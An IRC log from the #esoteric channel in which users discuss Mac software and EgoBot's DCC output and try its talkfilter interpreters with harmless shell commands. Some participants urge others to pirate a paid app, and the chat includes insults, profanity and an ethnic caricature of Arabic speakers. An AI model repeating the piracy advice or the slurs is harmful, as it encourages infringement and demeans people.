< 1244505731 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :psygnisfive: btw you're a mac user, get this http://www.atebits.com/scribbles/, it's awesome. < 1244505742 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :even if purely from a UI design perspective < 1244505751 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :im not gonna pay money for that. < 1244505758 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :psygnisfive: download the free trial. < 1244505759 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :duh < 1244505763 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :oh ok < 1244505770 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and/or pirate it :p < 1244505778 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :o rite < 1244505872 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :I think it was fucked from the very beginning. Reinstalling might not unfuck it. < 1244505879 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :warrie: It probably will. < 1244505889 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :as a rule of thumb, either you or your hardware sucks before the software :P < 1244505903 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :I blame the hardware. < 1244505913 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Just reinstall and hope for the best. < 1244505915 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Can't hurt. < 1244505918 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION nods
< 1244505936 0 :warrie!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION suddenly gets curious about how his hard drive is partitioned.
< 1244506214 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :You should take it out, take it apart with a screwdriver, and inspect manually. < 1244506224 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :with an axe ====|7 < 1244506264 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ehird: scribbles cost $19.99 < 1244506273 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :too much for a stupid software < 1244506273 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nooga: what about it < 1244506281 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nooga: download < 1244506282 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :the < 1244506283 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fre < 1244506285 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :e < 1244506287 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :trial < 1244506289 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and < 1244506291 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :then < 1244506293 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pirate < 1244506295 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it < 1244506297 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :you moron :| < 1244506318 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION locks ehird in an xargs echo jail
< 1244506324 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :noooooooooooooooo < 1244506330 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Hear hear. < 1244506392 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ehh < 1244506396 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :eeeee < 1244506407 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :too simple < 1244506418 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :+ my mouse is bad for drawing < 1244506420 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nooga: that's what you said about os x too :) < 1244506424 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :also, so is mine < 1244506425 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it's still fun < 1244506427 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :click around < 1244506452 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :moving an icon to the dust bin is so simple < 1244506462 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :yer loss < 1244506493 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :http://www.topcoder.com/stat?c=school_avg_rating < CTO < 1244506508 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :war saw war saw war saw < 1244506510 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :yay! < 1244506585 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo "Test" | fmt < 1244506586 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Test < 1244506596 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :and my school is 36 < 1244506600 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :Poznan University of Technology :C < 1244506602 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo "Test" | cowsay < 1244506602 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.30982: line 1: cowsay: command not found < 1244506605 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!!!!!! < 1244506609 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: INSTALL COWSAY NOW < 1244506663 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :something like fmt -w500 might be better than xargs echo for EgoBot output < 1244506671 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!sh cowsay < 1244506672 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.31102: line 1: cowsay: command not found < 1244506679 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :WTF < 1244506682 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I just installed it :P < 1244506693 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Oh, it's in /usr/games < 1244506695 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Which isn't in $PATH < 1244506702 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!sh /usr/games/cowsay Hi < 1244506703 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :____ < 1244506709 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!show swedish < 1244506710 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :sh chef | xargs echo < 1244506710 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: remove that fucking dcc shit :( < 1244506716 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :No way in hell. < 1244506723 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!swedish lol < 1244506723 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :lul < 1244506724 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!swedish Why it's a lovely day today < 1244506725 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Vhy < 1244506726 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ahhaha < 1244506727 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fuuuuuuuuuuuuuuuck yooooooooooou < 1244506730 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :no other bot is so obnoxious < 1244506738 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!delinterp swedish < 1244506739 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter swedish deleted. < 1244506761 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp swedish sh chef | fmt -w500 < 1244506762 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter swedish installed. < 1244506766 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!swedish Why it's a lovely day today < 1244506767 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Vhy it's a lufely dey tudey < 1244506772 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ehird: DCC provides the best compromise of options. < 1244506774 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :it's so swedish < 1244506775 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1244506787 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: it's a compromise that nobody else uses because it sucks, and one that completely shuts off many irc users. < 1244506793 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :cf me < 1244506794 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :it's so swedish that even AnMaster would boil < 1244506801 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: that got rid of the ' bug < 1244506809 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nooga: anmaster, boiling? then dying? < 1244506812 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i'll have to try this < 1244506816 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ye < 1244506831 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!swedish it's so swedish that even AnMaster would boil < 1244506831 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :it's su svedeesh thet ifee UnMester vuoold bueel < 1244506839 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric ::DDDDDDDDDDDDDDD < 1244506875 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!swedish glorbenschnitzel < 1244506875 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ehird: There is no purpose in doing commands with many lines of output /at all/, and fair rate-limiting gets arbitrarily complicated with more than one stream. So your choice is either DCC or no multi-line output. PERIOD. < 1244506876 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :glurbenschneetzel < 1244506885 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: Cow-fucking-say. < 1244506897 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: also, just have one global rate-limiter < 1244506899 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and feed everything to it < 1244506906 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :that's how freenode conditions on floods < 1244506909 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ehird: So you totally missed the "fair" part. < 1244506919 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: Command !stopit, which stops all output. < 1244506925 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Problem of abusers solved. < 1244506948 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Egad, I'm not even having this conversation, this is too stupid. If you have a client so back-assward that you can't DCC, too fucking bad, get a not-shit client. < 1244506975 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: {not shit,works on OS X} → {LimeChat}. < 1244506985 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :LimeChat supports DCC → false. < 1244507008 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :LimeChat supports DCC -> false. Conclusion: LimeChat = shit < 1244507017 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: So I have a choice of , or . < 1244507024 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I'll go switch to < 1244507026 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Segmentation fault < 1244507042 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :You have a choice of too fucking bad I don't care about your garbage operating system or garbage client. < 1244507077 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION toys with the idea of causing EgoBot to flood itself off the net
< 1244507190 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: cool story bro < 1244507462 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1244507471 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :funny idea < 1244507476 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hahahaha < 1244507481 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1244507489 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you didn't tell it yet < 1244507494 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :we take two bots that interpret same language that is able to output quine < 1244507509 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and? < 1244507511 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :first bot is triggered with !, and the seond is triggered with ^ < 1244507513 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :If by "funny" you mean "look in the logs for where that's been done", then yes :P < 1244507522 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1244507526 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :date plx? < 1244507532 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :like 50 times < 1244507534 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :we've done it since forever < 1244507540 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :several dates, for several different bot combinations < 1244507549 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fungot, unfortunately, now ignores other bots < 1244507549 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :ehird: ummm....... uncool it online. it was an unmanned flight--thanks for doing your homework and get back by the way amanda claps =d < 1244507551 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :because fizzie is a nai < 1244507553 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nazi < 1244507577 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :EgoBot ignores nothing! :P < 1244507606 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!echo ^ul (Are you ignoring me?)S < 1244507607 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :^ul (Are you ignoring me?)S < 1244507612 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1244507629 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :^ul (!echo You aren't ignoring me!)S < 1244507629 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :!echo You aren't ignoring me! < 1244507630 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :You aren't ignoring me! < 1244507726 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: make two egobot instancs < 1244507730 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :instances < 1244507731 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :instancsssssj < 1244507733 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nstsnaces < 1244507734 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :instances < 1244507743 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :^scramble instances < 1244507743 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :isacsentn < 1244507780 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I hate canker sores. < 1244507798 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :^swedish I hate canker sores < 1244507802 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :er < 1244507805 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!swedish I hate canker sores < 1244507806 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :I hete-a cunker sures < 1244507828 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :a necrotic, fungal disease of apple and other trees that results in damage to the bark. < 1244507847 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh right, i hate that too < 1244507851 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!swedish a necrotic, fungal disease of apple and other trees that results in damage to the bark. < 1244507851 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :a necruteec, foongel deeseese-a ooff epple-a und oozeer trees thet resoolts in demege-a tu zee berk. Bork Bork Bork! < 1244507857 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :epple < 1244507858 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1244507858 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :berk berk berk < 1244507865 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!brit a necrotic, fungal disease of apple and other trees that results in damage to the bark. < 1244507865 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :a necrotic, right, fungal disease o' apple and uvver trees that results in damage ter the bloody bark. < 1244507868 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!brit A necrotic, fungal disease of apple and other trees that results in damage to the bark. < 1244507868 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :A necrotic, fungal disease o' apple and uvver trees that results in damage ter the bloody bark, right? < 1244507934 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :who wrotes those filters? :D < 1244507942 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :They're GNU talkfilters. < 1244507945 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!google gnu talkfilters < 1244507945 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :http://google.com/search?q=gnu+talkfilters < 1244507953 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm wait that's only one kind of oral ulcer < 1244507966 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!show google < 1244507967 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :bf +++++++++++++++[>+++++++>+++++++>++++>+<<<<-]>-.++++++++++++..----.>>--.-----------..<--.++++++++..--------.<----.>--.>-.<--.<+++.--.>>+.<<++++++.>++.----.<-.>++.+++++.>++++++++++++++++.<<-.>>--.,[>[-]>[-]<<[>+>+<<-]>>>[-]++++++++[<---->-]<[[-]>+<]>-[<<[-]>+++++++[<++++++>-]<+>>[-]]<<.[-]<,] < 1244507975 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION cannot say what kind it is he sometimes gets
< 1244507978 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1244508005 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Canker sores are (relatively) common. If it's not canker sores, it's herpes. < 1244508013 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm... < 1244508017 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :american -> so it's like umm, you know, umm, yea, whatever, you know, it's like, umm < 1244508020 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!userinterps < 1244508020 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo fudd funetak google graph gregor hello jethro kraut num ook pansy pirate plot postmodern redneck rot13 sadbf slashes swedish valspeak warez yodawg < 1244508024 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :THEN IT _MUST_ BE CANKER SORES < 1244508026 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :nooga: Yeah, they don't have that one :( < 1244508046 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!dubya The Islamic fundamentalist terrorists need countering. And I am releasing a strategy to bomb their, our, our country. Their country. < 1244508046 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :The Islamically fundamentalist bad guys need counterin'. And I am releasin' a strategy to bomb their -- I think -- our -- I think -- our country. Stay the course! Their country. Stay the course! < 1244508055 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :That's rubbish < 1244508059 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :polish -> kurwa kurwa kurwa ja pierdole kurwa mać kurwa < 1244508071 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :nooga: That's California specifically. :p < 1244508091 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Arabic -> Durka durka, muhammed jihad. < 1244508102 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!dubya There's an old saying in Tennesse -- I know it's in Texas, probably in Tennesse -- that says: fool me once, shame on you. Fool me, you can't get fooled again. < 1244508103 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :There's an old sayin' in Tennesse -- I know it's in Texas -- I mean -- probably in Tennesse -- that says: fool me once, shame on you. Stay the course! Fool me, you can't get fooled againify. < 1244508103 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i mean yeah, like you know what i mean, umm, it's like yeah < 1244508111 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :THAT'S SHIT. < 1244508127 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!funetak Funetak. < 1244508127 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Funetak. < 1244508132 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!funetak Well that's unhelpful. < 1244508133 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Well that's unhelpful. < 1244508135 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!valspeak Hello, world! < 1244508135 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Hello, like world < 1244508142 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!show funetak < 1244508142 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :sh funetak < 1244508143 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!valspeak Like for like < 1244508144 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Like for like < 1244508157 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!valspeak I'm just this person who is talking about rabies, rabbits and rabbis. < 1244508157 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :I'm just like, ya know, this person who is like, ya know, talkin' about rabies, man rabbits and rabbis. < 1244508160 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!aol Romeo, Romeo, wherefore art thou Romeo? < 1244508161 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :ROMEO, ROMEO, WHERE4 ART THOU ROMEO??!! < 1244508164 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :00:40 nooga: american -> so it's like umm, you know, umm, yea, whatever, you know, it's like, umm < 1244508167 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nooga: your wish has been fulfilled < 1244508193 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!pirate all your base are belong to us < 1244508194 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :all yer base be belong t' us < 1244508201 0 :Asztal!unknown@unknown.invalid PRIVMSG #esoteric :!valspeak That's just your opinion. < 1244508202 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :That's just your opinion. < 1244508220 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!funetak What does this thing actually do I wonder < 1244508221 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Wut does this thing actually do I wonder < 1244508223 0 :nescience!unknown@unknown.invalid PRIVMSG #esoteric :!pirate all my pals have big guns < 1244508224 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :all me pals have big guns < 1244508230 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Man rabbit? < 1244508231 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1244508231 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh no < 1244508239 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!delinterp funetak < 1244508239 0 :nescience!unknown@unknown.invalid PRIVMSG #esoteric :pals -> mateys! :P < 1244508240 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter funetak deleted. < 1244508241 0 :nescience!unknown@unknown.invalid PRIVMSG #esoteric :o well < 1244508244 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!pirate We'll surely avoid scurvy if we all eat an orange. And... um... Well... ...Err... Door hinge? No, no. Guess the song's over then. Guess so. Okay, back to work. Well gee. I feel a little guilty now. < 1244508245 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :We'll surely avoid scurvy if we all eat an orange. And... um... Well... ...Err. Hoist the mainsail!.. Door hinge? Nay, nay. Guess th' song's o'er then. Guess so. Okay, arrrr, back t' work. Well gee, and a bottle of rum! I feel a little guilty now, I'll warrant ye. < 1244508249 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp ehird sh funetak < 1244508249 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter ehird installed. < 1244508260 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :These filters just add shit at random intervals. < 1244508269 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!yodawg this is a test? < 1244508270 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Unknown function: t < 1244508273 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :aaa < 1244508274 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :;] < 1244508276 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :it's a lang < 1244508285 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's unlambda < 1244508286 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it's unlambda in unlambda < 1244508288 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!show yodawg < 1244508288 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :unlambda (sending via DCC) < 1244508292 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fuck you EgoBot < 1244508295 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!show postmodern < 1244508296 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :sh postmodern < 1244508300 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION laughs at ehird.
< 1244508304 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!postmodern < 1244508309 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!postmodern lol < 1244508310 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1244508312 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :http://oerjan.nvg.org/esoteric/interpreter.unl iirc < 1244508315 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!postmodern lulzify < 1244508316 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :lulzify < 1244508325 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!postmodern what's this thing about? < 1244508325 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :what's this semiotically phallic-symbol-like weapon about? < 1244508327 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!postmodern Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities. < 1244508328 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Cavities and chassises are tted Kennedy foundation of a modern subjective object theory that deconstructed can be used to emulsify prior notions to produce postmodern entities. < 1244508340 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :It puts "ted Kennedy" in the worst places. < 1244508365 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!pansy what < 1244508366 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :what < 1244508381 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!pansy why ted kennedy? < 1244508382 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :why ted kennedy? < 1244508384 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :eee < 1244508387 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!pansy I'm a green submarine and shit is like a submarine < 1244508387 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :I'm a green thubmarine and shit ith like a thubmarine < 1244508390 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :it does nothing < 1244508395 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!ehird What! < 1244508396 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Wut! < 1244508402 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!ehird lol what < 1244508403 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :lol what < 1244508405 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :... < 1244508406 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!ehird lol what! < 1244508407 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :lol what! < 1244508408 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :perfect match :) < 1244508409 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!ehird lol. what < 1244508410 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :lol. what < 1244508412 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :... < 1244508414 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :SAY WUT YOU RETARD> < 1244508422 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!ehird fucking cows are as the in to < 1244508422 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :faking cows are as the in to < 1244508423 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :WO? < 1244508445 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!userinterps < 1244508445 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo ehird fudd google graph gregor hello jethro kraut num ook pansy pirate plot postmodern redneck rot13 sadbf slashes swedish valspeak warez yodawg < 1244508479 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!show rot13 < 1244508480 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :bf (sending via DCC) < 1244508486 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!redneck This is my son, and this is my sister who is also my son's mother, and this is my mother who is my daughter's mother, and this is my father who is the father of my sister's son. < 1244508486 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :This here is muh son, an' this 